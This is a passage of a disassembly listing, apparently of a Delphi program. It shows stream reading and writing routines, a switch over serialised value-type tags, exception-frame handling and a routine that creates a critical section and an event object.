endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20011C4C proc near ; DATA XREF: CODE:2000FB14o push ebx push esi call sub_200037A4 mov ebx, edx mov esi, eax mov eax, [esi+4] test eax, eax jl short loc_20011C63 call sub_2000759C loc_20011C63: ; CODE XREF: sub_20011C4C+10j mov edx, ebx and dl, 0FCh mov eax, esi call sub_200034E4 test bl, bl jle short loc_20011C7A mov eax, esi call sub_2000378C loc_20011C7A: ; CODE XREF: sub_20011C4C+25j pop esi pop ebx retn sub_20011C4C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20011C80 proc near ; CODE XREF: CODE:20012636p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx push esi push edi mov [ebp+var_8], edx mov [ebp+var_4], eax cmp ds:dword_20015874, 0 jz loc_20011D22 mov eax, ds:dword_20015874 call sub_2001022C mov edi, eax xor eax, eax push ebp push offset loc_20011D1B push dword ptr fs:[eax] mov fs:[eax], esp mov ebx, [edi+8] dec ebx cmp ebx, 0 jl short loc_20011D03 loc_20011CBF: ; CODE XREF: sub_20011C80+81j mov edx, ebx mov eax, edi call sub_20010050 mov esi, eax cmp [ebp+var_4], 0 jz short loc_20011CD8 mov eax, [esi+8] cmp eax, [ebp+var_4] jnz short loc_20011CFD loc_20011CD8: ; CODE XREF: sub_20011C80+4Ej cmp [ebp+var_8], 0 jz short loc_20011CED mov edx, [esi+10h] mov eax, [ebp+var_8] call sub_20007018 test al, al jz short loc_20011CFD loc_20011CED: ; CODE XREF: sub_20011C80+5Cj mov edx, ebx mov eax, edi call sub_2000FF60 mov eax, esi call sub_200034F4 loc_20011CFD: ; CODE XREF: sub_20011C80+56j ; sub_20011C80+6Bj dec ebx cmp ebx, 0FFFFFFFFh jnz short loc_20011CBF loc_20011D03: ; CODE XREF: sub_20011C80+3Dj xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20011D22 loc_20011D10: ; CODE XREF: sub_20011C80+A0j mov eax, ds:dword_20015874 call sub_20010240 retn ; --------------------------------------------------------------------------- loc_20011D1B: ; DATA XREF: sub_20011C80+2Bo jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20011D10 ; --------------------------------------------------------------------------- loc_20011D22: ; CODE XREF: sub_20011C80+16j ; sub_20011C80+9Aj ; DATA XREF: ... pop edi pop esi pop ebx pop ecx pop ecx pop ebp retn sub_20011C80 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20011D2C proc near ; CODE XREF: sub_2001024C+Dp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ebx push esi push edi mov [ebp+var_4], eax cmp ds:dword_20015874, 0 jz short loc_20011DAA mov eax, ds:dword_20015874 call sub_2001022C mov edi, eax xor eax, eax push ebp push offset loc_20011DA3 push dword ptr fs:[eax] mov fs:[eax], esp mov ebx, [edi+8] dec ebx cmp ebx, 0 jl short loc_20011D8B loc_20011D62: ; CODE XREF: sub_20011D2C+5Dj mov edx, ebx mov eax, edi call sub_20010050 mov esi, eax mov eax, [esi+4] cmp eax, [ebp+var_4] jnz short loc_20011D85 mov edx, ebx mov eax, edi call sub_2000FF60 mov eax, esi call sub_200034F4 loc_20011D85: ; CODE XREF: sub_20011D2C+47j dec ebx cmp ebx, 0FFFFFFFFh jnz short loc_20011D62 loc_20011D8B: ; CODE XREF: sub_20011D2C+34j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20011DAA loc_20011D98: ; CODE XREF: sub_20011D2C+7Cj mov eax, ds:dword_20015874 call sub_20010240 retn ; --------------------------------------------------------------------------- loc_20011DA3: ; DATA XREF: sub_20011D2C+22o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20011D98 ; --------------------------------------------------------------------------- loc_20011DAA: ; CODE XREF: sub_20011D2C+11j ; sub_20011D2C+76j ; DATA XREF: ... pop edi pop esi pop ebx pop ecx pop ebp retn sub_20011D2C endp ; =============== S U B R O U T I N E ======================================= sub_20011DB0 proc near ; CODE XREF: sub_20011DC8+5p push ebx mov ebx, eax mov ecx, ebx mov dl, 1 mov eax, off_2000F4A4 call sub_2000A5A0 call sub_20003A08 pop ebx retn sub_20011DB0 endp ; =============== S U B R O U T I N E ======================================= sub_20011DC8 proc near ; CODE XREF: sub_20011DD4+1Bp ; sub_20011EF0:loc_20011F6Cp ... mov eax, ds:off_200144EC call sub_20011DB0 retn sub_20011DC8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20011DD4 proc near ; CODE XREF: sub_20011EA4+2p ; sub_20011EAC+2p push ebx push esi mov ebx, edx mov esi, eax mov eax, esi call sub_20012090 cmp bl, al jz short loc_20011DF4 dec dword ptr [esi+10h] mov eax, esi call sub_200121A0 call sub_20011DC8 loc_20011DF4: ; CODE XREF: sub_20011DD4+Fj pop esi pop ebx retn sub_20011DD4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20011DF8 proc near ; CODE XREF: sub_20010E0C+60p ; sub_200120EC+15p ... push ebx mov ebx, eax mov eax, ebx call sub_20012090 test al, al setz al dec dword ptr [ebx+10h] pop ebx retn sub_20011DF8 endp ; =============== S U B R O U T I N E ======================================= sub_20011E0C proc near ; CODE XREF: sub_20011EF0+21p ; sub_20011FAC+1Fp ... push ebx mov ebx, eax mov eax, ebx call sub_20012090 dec dword ptr [ebx+10h] pop ebx retn sub_20011E0C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20011E1C proc near ; CODE XREF: sub_20011EB4+10p ; sub_20011EB4+33p ... push esi push edi push ebx mov edi, edx mov ebx, ecx mov esi, eax jmp short loc_20011E5D ; --------------------------------------------------------------------------- loc_20011E27: ; CODE XREF: sub_20011E1C+43j mov ecx, [esi+14h] sub ecx, [esi+10h] ja short loc_20011E39 mov eax, esi call sub_20011E68 mov ecx, [esi+14h] loc_20011E39: ; CODE XREF: sub_20011E1C+11j cmp ecx, ebx jb short loc_20011E3F mov ecx, ebx loc_20011E3F: ; CODE XREF: sub_20011E1C+1Fj push esi sub ebx, ecx mov eax, [esi+8] add eax, [esi+10h] add [esi+10h], ecx mov esi, eax mov edx, ecx shr ecx, 2 cld rep movsd mov ecx, edx and ecx, 3 rep movsb pop esi loc_20011E5D: ; CODE XREF: sub_20011E1C+9j or ebx, ebx jnz short loc_20011E27 pop ebx pop edi pop esi retn sub_20011E1C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20011E68 proc near ; CODE XREF: sub_20011E1C+15p push ebx push esi mov ebx, eax mov edx, [ebx+8] mov ecx, [ebx+0Ch] mov eax, [ebx+4] mov esi, [eax] call dword ptr [esi+0Ch] mov esi, eax mov [ebx+14h], esi test esi, esi jnz short loc_20011E9A mov ecx, ds:off_2001455C mov dl, 1 mov eax, off_2000F4A4 call sub_2000A5A0 call sub_20003A08 loc_20011E9A: ; CODE XREF: sub_20011E68+19j xor eax, eax mov [ebx+10h], eax pop esi pop ebx retn sub_20011E68 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20011EA4 proc near ; CODE XREF: sub_20010E0C+22p mov dl, 1 call sub_20011DD4 retn sub_20011EA4 endp ; =============== S U B R O U T I N E ======================================= sub_20011EAC proc near ; CODE XREF: sub_20010E0C+89p ; sub_200120EC+20p ... xor edx, edx call sub_20011DD4 retn sub_20011EAC endp ; =============== S U B R O U T I N E ======================================= sub_20011EB4 proc near ; CODE XREF: sub_200120A4+1Bp ; sub_200121A0+EAp ... var_C = byte ptr -0Ch push ebx push esi push ecx mov esi, edx mov ebx, eax mov edx, esp mov ecx, 1 mov eax, ebx call sub_20011E1C xor ecx, ecx mov cl, [esp+0Ch+var_C] mov eax, esi xor edx, edx call sub_20004098 mov eax, esi call sub_2000449C mov edx, eax xor ecx, ecx mov cl, [esp+0Ch+var_C] mov eax, ebx call sub_20011E1C pop edx pop esi pop ebx retn sub_20011EB4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20011EF0 proc near ; CODE XREF: sub_20010E0C+4Dp ; sub_20011FAC+31p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx push esi xor ecx, ecx mov [ebp+var_8], ecx mov esi, edx mov ebx, eax xor eax, eax push ebp push offset loc_20011F9D push dword ptr fs:[eax] mov fs:[eax], esp mov eax, ebx call sub_20011E0C sub al, 12h jz short loc_20011F1E sub al, 2 jnz short loc_20011F34 loc_20011F1E: ; CODE XREF: sub_20011EF0+28j lea edx, [ebp+var_8] mov eax, ebx call sub_20011FAC mov edx, [ebp+var_8] mov eax, esi call sub_20004230 jmp short loc_20011F87 ; --------------------------------------------------------------------------- loc_20011F34: ; CODE XREF: sub_20011EF0+2Cj xor eax, eax mov [ebp+var_4], eax mov eax, ebx call sub_20012090 sub al, 6 jz short loc_20011F4A sub al, 6 jz short loc_20011F5B jmp short loc_20011F6C ; --------------------------------------------------------------------------- loc_20011F4A: ; CODE XREF: sub_20011EF0+52j lea edx, [ebp+var_4] mov ecx, 1 mov eax, ebx call sub_20011E1C jmp short loc_20011F71 ; --------------------------------------------------------------------------- loc_20011F5B: ; CODE XREF: sub_20011EF0+56j lea edx, [ebp+var_4] mov ecx, 4 mov eax, ebx call sub_20011E1C jmp short loc_20011F71 ; --------------------------------------------------------------------------- loc_20011F6C: ; CODE XREF: sub_20011EF0+58j call sub_20011DC8 loc_20011F71: ; CODE XREF: sub_20011EF0+69j ; sub_20011EF0+7Aj mov eax, esi mov edx, [ebp+var_4] call sub_200045D0 mov edx, [esi] mov ecx, [ebp+var_4] mov eax, ebx call sub_20011E1C loc_20011F87: ; CODE XREF: sub_20011EF0+42j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20011FA4 loc_20011F94: ; CODE XREF: sub_20011EF0+B2j lea eax, [ebp+var_8] call sub_20004664 retn ; --------------------------------------------------------------------------- loc_20011F9D: ; DATA XREF: sub_20011EF0+14o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20011F94 ; --------------------------------------------------------------------------- loc_20011FA4: ; CODE XREF: sub_20011EF0+ACj ; DATA XREF: sub_20011EF0+9Fo pop esi pop ebx pop ecx pop ecx pop ebp retn sub_20011EF0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20011FAC proc near ; CODE XREF: sub_20011EF0+33p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push 0 push 0 push 0 push ebx push esi mov esi, edx mov ebx, eax xor eax, eax push ebp push offset loc_20012083 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, ebx call sub_20011E0C sub al, 6 jz short loc_20011FD8 sub al, 6 jnz short loc_20011FEE loc_20011FD8: ; CODE XREF: sub_20011FAC+26j lea edx, [ebp+var_C] mov eax, ebx call sub_20011EF0 mov edx, [ebp+var_C] mov eax, esi call sub_200047B0 jmp short loc_20012065 ; --------------------------------------------------------------------------- loc_20011FEE: ; CODE XREF: sub_20011FAC+2Aj xor eax, eax mov [ebp+var_4], eax mov eax, ebx call sub_20012090 sub al, 12h jz short loc_20012004 sub al, 2 jz short loc_2001202D jmp short loc_20012060 ; --------------------------------------------------------------------------- loc_20012004: ; CODE XREF: sub_20011FAC+50j lea edx, [ebp+var_4] mov ecx, 4 mov eax, ebx call sub_20011E1C mov eax, esi mov edx, [ebp+var_4] call sub_200048AC mov ecx, [ebp+var_4] add ecx, ecx mov edx, [esi] mov eax, ebx call sub_20011E1C jmp short loc_20012065 ; --------------------------------------------------------------------------- loc_2001202D: ; CODE XREF: sub_20011FAC+54j lea edx, [ebp+var_4] mov ecx, 4 mov eax, ebx call sub_20011E1C lea eax, [ebp+var_8] mov edx, [ebp+var_4] call sub_200045D0 mov edx, [ebp+var_8] mov ecx, [ebp+var_4] mov eax, ebx call sub_20011E1C mov edx, esi mov eax, [ebp+var_8] call sub_200058A0 jmp short loc_20012065 ; --------------------------------------------------------------------------- loc_20012060: ; CODE XREF: sub_20011FAC+56j call sub_20011DC8 loc_20012065: ; CODE XREF: sub_20011FAC+40j ; sub_20011FAC+7Fj ... xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2001208A loc_20012072: ; CODE XREF: sub_20011FAC+DCj lea eax, [ebp+var_C] call sub_20003FA8 lea eax, [ebp+var_8] call sub_20003FA8 retn ; --------------------------------------------------------------------------- loc_20012083: ; DATA XREF: sub_20011FAC+12o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20012072 ; --------------------------------------------------------------------------- loc_2001208A: ; CODE XREF: sub_20011FAC+D6j ; DATA XREF: sub_20011FAC+C1o pop esi pop ebx mov esp, ebp pop ebp retn sub_20011FAC endp ; =============== S U B R O U T I N E ======================================= sub_20012090 proc near ; CODE XREF: sub_20011DD4+8p ; sub_20011DF8+5p ... var_4 = byte ptr -4 push ecx mov edx, esp mov ecx, 1 call sub_20011E1C mov al, [esp+4+var_4] pop edx retn sub_20012090 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_200120A4 proc near ; CODE XREF: sub_200121A0+105p var_4 = dword ptr -4 push ebp mov ebp, esp push 0 push ebx mov ebx, eax xor eax, eax push ebp push offset loc_200120E0 push dword ptr fs:[eax] mov fs:[eax], esp loc_200120BA: ; CODE XREF: sub_200120A4+24j lea edx, [ebp+var_4] mov eax, ebx call sub_20011EB4 cmp [ebp+var_4], 0 jnz short loc_200120BA xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_200120E7 loc_200120D7: ; CODE XREF: sub_200120A4+41j lea eax, [ebp+var_4] call sub_20003FA8 retn ; --------------------------------------------------------------------------- loc_200120E0: ; DATA XREF: sub_200120A4+Bo jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_200120D7 ; --------------------------------------------------------------------------- loc_200120E7: ; CODE XREF: sub_200120A4+3Bj ; DATA XREF: sub_200120A4+2Eo pop ebx pop ecx pop ebp retn sub_200120A4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_200120EC proc near ; CODE XREF: sub_200121A0+91p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] add ebx, 0FFFFFFFCh jmp short loc_200120FF ; --------------------------------------------------------------------------- loc_200120F8: ; CODE XREF: sub_200120EC+1Cj mov eax, [ebx] call sub_200121A0 loc_200120FF: ; CODE XREF: sub_200120EC+Aj mov eax, [ebx] call sub_20011DF8 test al, al jz short loc_200120F8 mov eax, [ebx] call sub_20011EAC pop ebx pop ebp retn sub_200120EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20012114 proc near ; CODE XREF: sub_200121A0+FAp ; sub_200121A0+112p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx mov ebx, eax lea edx, [ebp+var_4] mov eax, [ebp+arg_0] mov eax, [eax-4] mov ecx, 4 call sub_20011E1C mov edx, [ebp+var_4] imul edx, ebx mov eax, [ebp+arg_0] mov eax, [eax-4] call sub_20012384 pop ebx pop ecx pop ebp retn sub_20012114 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20012144 proc near ; CODE XREF: sub_200121A0+11Bp arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] add ebx, 0FFFFFFFCh jmp short loc_2001218B ; --------------------------------------------------------------------------- loc_20012150: ; CODE XREF: sub_20012144+50j mov eax, [ebx] call sub_20011E0C add al, 0FEh sub al, 3 jnb short loc_20012164 mov eax, [ebx] call sub_200121A0 loc_20012164: ; CODE XREF: sub_20012144+17j mov eax, [ebx] mov edx, 1 call sub_20012384 jmp short loc_20012179 ; --------------------------------------------------------------------------- loc_20012172: ; CODE XREF: sub_20012144+3Ej mov eax, [ebx] call sub_2001233C loc_20012179: ; CODE XREF: sub_20012144+2Cj mov eax, [ebx] call sub_20011DF8 test al, al jz short loc_20012172 mov eax, [ebx] call sub_20011EAC loc_2001218B: ; CODE XREF: sub_20012144+Aj mov eax, [ebx] call sub_20011DF8 test al, al jz short loc_20012150 mov eax, [ebx] call sub_20011EAC pop ebx pop ebp retn sub_20012144 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_200121A0 proc near ; CODE XREF: sub_20011DD4+16p ; sub_200120EC+Ep ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h xor edx, edx mov [ebp+var_8], edx mov [ebp+var_4], eax xor eax, eax push ebp push offset loc_2001232F push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_4] call sub_20012090 and eax, 7Fh cmp eax, 14h ; switch 21 cases ja loc_20012319 ; default ; jumptable 200121D0 cases 0,8,9,13 jmp off_200121D7[eax*4] ; switch jump ; --------------------------------------------------------------------------- off_200121D7 dd offset loc_20012319 ; DATA XREF: sub_200121A0+30r dd offset loc_20012230 ; jump table for switch statement dd offset loc_2001223C dd offset loc_2001224E dd offset loc_20012260 dd offset loc_20012272 dd offset loc_20012284 dd offset loc_20012284 dd offset loc_20012319 dd offset loc_20012319 dd offset loc_20012294 dd offset loc_200122A2 dd offset loc_200122AC dd offset loc_20012319 dd offset loc_200122BA dd offset loc_200122C3 dd offset loc_200122D2 dd offset loc_200122E1 dd offset loc_200122F0 dd offset loc_200122FE dd offset loc_2001230D ; --------------------------------------------------------------------------- jmp loc_20012319 ; default ; jumptable 200121D0 cases 0,8,9,13 ; --------------------------------------------------------------------------- loc_20012230: ; CODE XREF: sub_200121A0+30j ; DATA XREF: sub_200121A0:off_200121D7o push ebp ; jumptable 200121D0 case 1 call sub_200120EC pop ecx jmp loc_20012319 ; default ; jumptable 200121D0 cases 0,8,9,13 ; --------------------------------------------------------------------------- loc_2001223C: ; CODE XREF: sub_200121A0+30j ; DATA XREF: sub_200121A0:off_200121D7o mov edx, 1 ; jumptable 200121D0 case 2 mov eax, [ebp+var_4] call sub_20012384 jmp loc_20012319 ; default ; jumptable 200121D0 cases 0,8,9,13 ; --------------------------------------------------------------------------- loc_2001224E: ; CODE XREF: sub_200121A0+30j ; DATA XREF: sub_200121A0:off_200121D7o mov edx, 2 ; jumptable 200121D0 case 3 mov eax, [ebp+var_4] call sub_20012384 jmp loc_20012319 ; default ; jumptable 200121D0 cases 0,8,9,13 ; --------------------------------------------------------------------------- loc_20012260: ; CODE XREF: sub_200121A0+30j ; DATA XREF: sub_200121A0:off_200121D7o mov edx, 4 ; jumptable 200121D0 case 4 mov eax, [ebp+var_4] call sub_20012384 jmp loc_20012319 ; default ; jumptable 200121D0 cases 0,8,9,13 ; --------------------------------------------------------------------------- loc_20012272: ; CODE XREF: sub_200121A0+30j ; DATA XREF: sub_200121A0:off_200121D7o mov edx, 0Ah ; jumptable 200121D0 case 5 mov eax, [ebp+var_4] call sub_20012384 jmp loc_20012319 ; default ; jumptable 200121D0 cases 0,8,9,13 ; --------------------------------------------------------------------------- loc_20012284: ; CODE XREF: sub_200121A0+30j ; DATA XREF: sub_200121A0:off_200121D7o lea edx, [ebp+var_8] ; jumptable 200121D0 cases 6,7 mov eax, [ebp+var_4] call sub_20011EB4 jmp loc_20012319 ; default ; jumptable 200121D0 cases 0,8,9,13 ; --------------------------------------------------------------------------- loc_20012294: ; CODE XREF: sub_200121A0+30j ; DATA XREF: sub_200121A0:off_200121D7o push ebp ; jumptable 200121D0 case 10 mov eax, 1 call sub_20012114 pop ecx jmp short loc_20012319 ; default ; jumptable 200121D0 cases 0,8,9,13 ; --------------------------------------------------------------------------- loc_200122A2: ; CODE XREF: sub_200121A0+30j ; DATA XREF: sub_200121A0:off_200121D7o mov eax, [ebp+var_4] ; jumptable 200121D0 case 11 call sub_200120A4 jmp short loc_20012319 ; default ; jumptable 200121D0 cases 0,8,9,13 ; --------------------------------------------------------------------------- loc_200122AC: ; CODE XREF: sub_200121A0+30j ; DATA XREF: sub_200121A0:off_200121D7o push ebp ; jumptable 200121D0 case 12 mov eax, 1 call sub_20012114 pop ecx jmp short loc_20012319 ; default ; jumptable 200121D0 cases 0,8,9,13 ; --------------------------------------------------------------------------- loc_200122BA: ; CODE XREF: sub_200121A0+30j ; DATA XREF: sub_200121A0:off_200121D7o push ebp ; jumptable 200121D0 case 14 call sub_20012144 pop ecx jmp short loc_20012319 ; default ; jumptable 200121D0 cases 0,8,9,13 ; --------------------------------------------------------------------------- loc_200122C3: ; CODE XREF: sub_200121A0+30j ; DATA XREF: sub_200121A0:off_200121D7o mov edx, 4 ; jumptable 200121D0 case 15 mov eax, [ebp+var_4] call sub_20012384 jmp short loc_20012319 ; default ; jumptable 200121D0 cases 0,8,9,13 ; --------------------------------------------------------------------------- loc_200122D2: ; CODE XREF: sub_200121A0+30j ; DATA XREF: sub_200121A0:off_200121D7o mov edx, 8 ; jumptable 200121D0 case 16 mov eax, [ebp+var_4] call sub_20012384 jmp short loc_20012319 ; default ; jumptable 200121D0 cases 0,8,9,13 ; --------------------------------------------------------------------------- loc_200122E1: ; CODE XREF: sub_200121A0+30j ; DATA XREF: sub_200121A0:off_200121D7o mov edx, 8 ; jumptable 200121D0 case 17 mov eax, [ebp+var_4] call sub_20012384 jmp short loc_20012319 ; default ; jumptable 200121D0 cases 0,8,9,13 ; --------------------------------------------------------------------------- loc_200122F0: ; CODE XREF: sub_200121A0+30j ; DATA XREF: sub_200121A0:off_200121D7o push ebp ; jumptable 200121D0 case 18 mov eax, 2 call sub_20012114 pop ecx jmp short loc_20012319 ; default ; jumptable 200121D0 cases 0,8,9,13 ; --------------------------------------------------------------------------- loc_200122FE: ; CODE XREF: sub_200121A0+30j ; DATA XREF: sub_200121A0:off_200121D7o mov edx, 8 ; jumptable 200121D0 case 19 mov eax, [ebp+var_4] call sub_20012384 jmp short loc_20012319 ; default ; jumptable 200121D0 cases 0,8,9,13 ; --------------------------------------------------------------------------- loc_2001230D: ; CODE XREF: sub_200121A0+30j ; DATA XREF: sub_200121A0:off_200121D7o push ebp ; jumptable 200121D0 case 20 mov eax, 1 call sub_20012114 pop ecx loc_20012319: ; CODE XREF: sub_200121A0+2Aj ; sub_200121A0+30j ... xor eax, eax ; default ; jumptable 200121D0 cases 0,8,9,13 pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20012336 loc_20012326: ; CODE XREF: sub_200121A0+194j lea eax, [ebp+var_8] call sub_20003FA8 retn ; --------------------------------------------------------------------------- loc_2001232F: ; DATA XREF: sub_200121A0+11o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20012326 ; --------------------------------------------------------------------------- loc_20012336: ; CODE XREF: sub_200121A0+18Ej ; DATA XREF: sub_200121A0+181o pop ecx pop ecx pop ebp retn sub_200121A0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2001233C proc near ; CODE XREF: sub_20012144+30p var_4 = byte ptr -4 push ebp mov ebp, esp push 0 push ebx mov ebx, eax xor eax, eax push ebp push offset loc_20012379 push dword ptr fs:[eax] mov fs:[eax], esp lea edx, [ebp+var_4] mov eax, ebx call sub_20011EB4 mov eax, ebx call sub_200121A0 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20012380 loc_20012370: ; CODE XREF: sub_2001233C+42j lea eax, [ebp+var_4] call sub_20003FA8 retn ; --------------------------------------------------------------------------- loc_20012379: ; DATA XREF: sub_2001233C+Bo jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20012370 ; --------------------------------------------------------------------------- loc_20012380: ; CODE XREF: sub_2001233C+3Cj ; DATA XREF: sub_2001233C+2Fo pop ebx pop ecx pop ebp retn sub_2001233C endp ; =============== S U B R O U T I N E ======================================= sub_20012384 proc near ; CODE XREF: sub_20012114+26p ; sub_20012144+27p ... push ebx push esi add esp, 0FFFFFF00h mov ebx, edx mov esi, eax test ebx, ebx jle short loc_200123C3 loc_20012394: ; CODE XREF: sub_20012384+3Dj cmp ebx, 100h jle short loc_200123B2 mov edx, esp mov ecx, 100h mov eax, esi call sub_20011E1C sub ebx, 100h jmp short loc_200123BF ; --------------------------------------------------------------------------- loc_200123B2: ; CODE XREF: sub_20012384+16j mov edx, esp mov ecx, ebx mov eax, esi call sub_20011E1C xor ebx, ebx loc_200123BF: ; CODE XREF: sub_20012384+2Cj test ebx, ebx jg short loc_20012394 loc_200123C3: ; CODE XREF: sub_20012384+Ej add esp, 100h pop esi pop ebx retn sub_20012384 endp ; =============== S U B R O U T I N E ======================================= sub_200123CC proc near ; CODE XREF: sub_20012440+31p ; sub_20012440+3Dp ... push esi push edi push ebx mov esi, edx mov ebx, ecx mov edi, eax jmp short loc_2001240D ; --------------------------------------------------------------------------- loc_200123D7: ; CODE XREF: sub_200123CC+43j mov ecx, [edi+0Ch] sub ecx, [edi+10h] ja short loc_200123E9 mov eax, edi call sub_20012418 mov ecx, [edi+0Ch] loc_200123E9: ; CODE XREF: sub_200123CC+11j cmp ecx, ebx jb short loc_200123EF mov ecx, ebx loc_200123EF: ; CODE XREF: sub_200123CC+1Fj sub ebx, ecx push edi mov eax, [edi+8] add eax, [edi+10h] add [edi+10h], ecx mov edi, eax mov edx, ecx shr ecx, 2 cld rep movsd mov ecx, edx and ecx, 3 rep movsb pop edi loc_2001240D: ; CODE XREF: sub_200123CC+9j or ebx, ebx jnz short loc_200123D7 pop ebx pop edi pop esi retn sub_200123CC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20012418 proc near ; CODE XREF: sub_200123CC+15p push ebx mov ebx, eax mov edx, [ebx+8] mov ecx, [ebx+10h] mov eax, [ebx+4] call sub_200119B8 xor eax, eax mov [ebx+10h], eax pop ebx retn sub_20012418 endp ; =============== S U B R O U T I N E ======================================= sub_20012430 proc near ; CODE XREF: sub_200110BC+25p mov dl, 1 call sub_2001252C retn sub_20012430 endp ; =============== S U B R O U T I N E ======================================= sub_20012438 proc near ; CODE XREF: sub_200110BC+5Bp xor edx, edx call sub_2001252C retn sub_20012438 endp ; =============== S U B R O U T I N E ======================================= sub_20012440 proc near ; CODE XREF: sub_200124D8+2Ap var_10 = dword ptr -10h push ebx push esi push edi push ecx mov edi, ecx mov esi, edx mov ebx, eax mov eax, esi mov edx, edi call sub_20004390 jz short loc_20012484 mov eax, edi call sub_20004244 mov [esp+10h+var_10], eax mov dl, 14h mov eax, ebx call sub_2001252C mov edx, esp mov ecx, 4 mov eax, ebx call sub_200123CC mov edx, edi mov ecx, [esp+10h+var_10] mov eax, ebx call sub_200123CC jmp short loc_200124D3 ; --------------------------------------------------------------------------- loc_20012484: ; CODE XREF: sub_20012440+13j mov eax, esi call sub_20004244 mov [esp+10h+var_10], eax cmp [esp+10h+var_10], 0FFh jg short loc_200124B0 mov dl, 6 mov eax, ebx call sub_2001252C mov edx, esp mov ecx, 1 mov eax, ebx call sub_200123CC jmp short loc_200124C7 ; --------------------------------------------------------------------------- loc_200124B0: ; CODE XREF: sub_20012440+55j mov dl, 0Ch mov eax, ebx call sub_2001252C mov edx, esp mov ecx, 4 mov eax, ebx call sub_200123CC loc_200124C7: ; CODE XREF: sub_20012440+6Ej mov edx, esi mov ecx, [esp+10h+var_10] mov eax, ebx call sub_200123CC loc_200124D3: ; CODE XREF: sub_20012440+42j pop edx pop edi pop esi pop ebx retn sub_20012440 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_200124D8 proc near ; CODE XREF: sub_200110BC+4Fp var_4 = dword ptr -4 push ebp mov ebp, esp push 0 push ebx push esi mov esi, edx mov ebx, eax xor eax, eax push ebp push offset loc_2001251D push dword ptr fs:[eax] mov fs:[eax], esp lea edx, [ebp+var_4] mov eax, esi call sub_20005944 mov ecx, [ebp+var_4] mov edx, esi mov eax, ebx call sub_20012440 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20012524 loc_20012514: ; CODE XREF: sub_200124D8+4Aj lea eax, [ebp+var_4] call sub_20003FA8 retn ; --------------------------------------------------------------------------- loc_2001251D: ; DATA XREF: sub_200124D8+Eo jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20012514 ; --------------------------------------------------------------------------- loc_20012524: ; CODE XREF: sub_200124D8+44j ; DATA XREF: sub_200124D8+37o pop esi pop ebx pop ecx pop ebp retn sub_200124D8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2001252C proc near ; CODE XREF: sub_20012430+2p ; sub_20012438+2p ... var_4 = byte ptr -4 push ecx mov [esp+4+var_4], dl mov edx, esp mov ecx, 1 call sub_200123CC pop edx retn sub_2001252C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_20012540 proc near ; CODE XREF: CODE:200126CAp push offset stru_20015878 ; lpCriticalSection call InitializeCriticalSection_0 push offset Name ; lpName push 0 ; bInitialState push 0FFFFFFFFh ; bManualReset push 0 ; lpEventAttributes call CreateEventA mov ds:hObject, eax cmp ds:hObject, 0 jnz short locret_2001256D call sub_2000B75C locret_2001256D: ; CODE XREF: sub_20012540+26j retn sub_20012540 endp ; --------------------------------------------------------------------------- align 10h ; char Name[] Name db 4 dup(0) ; DATA XREF: 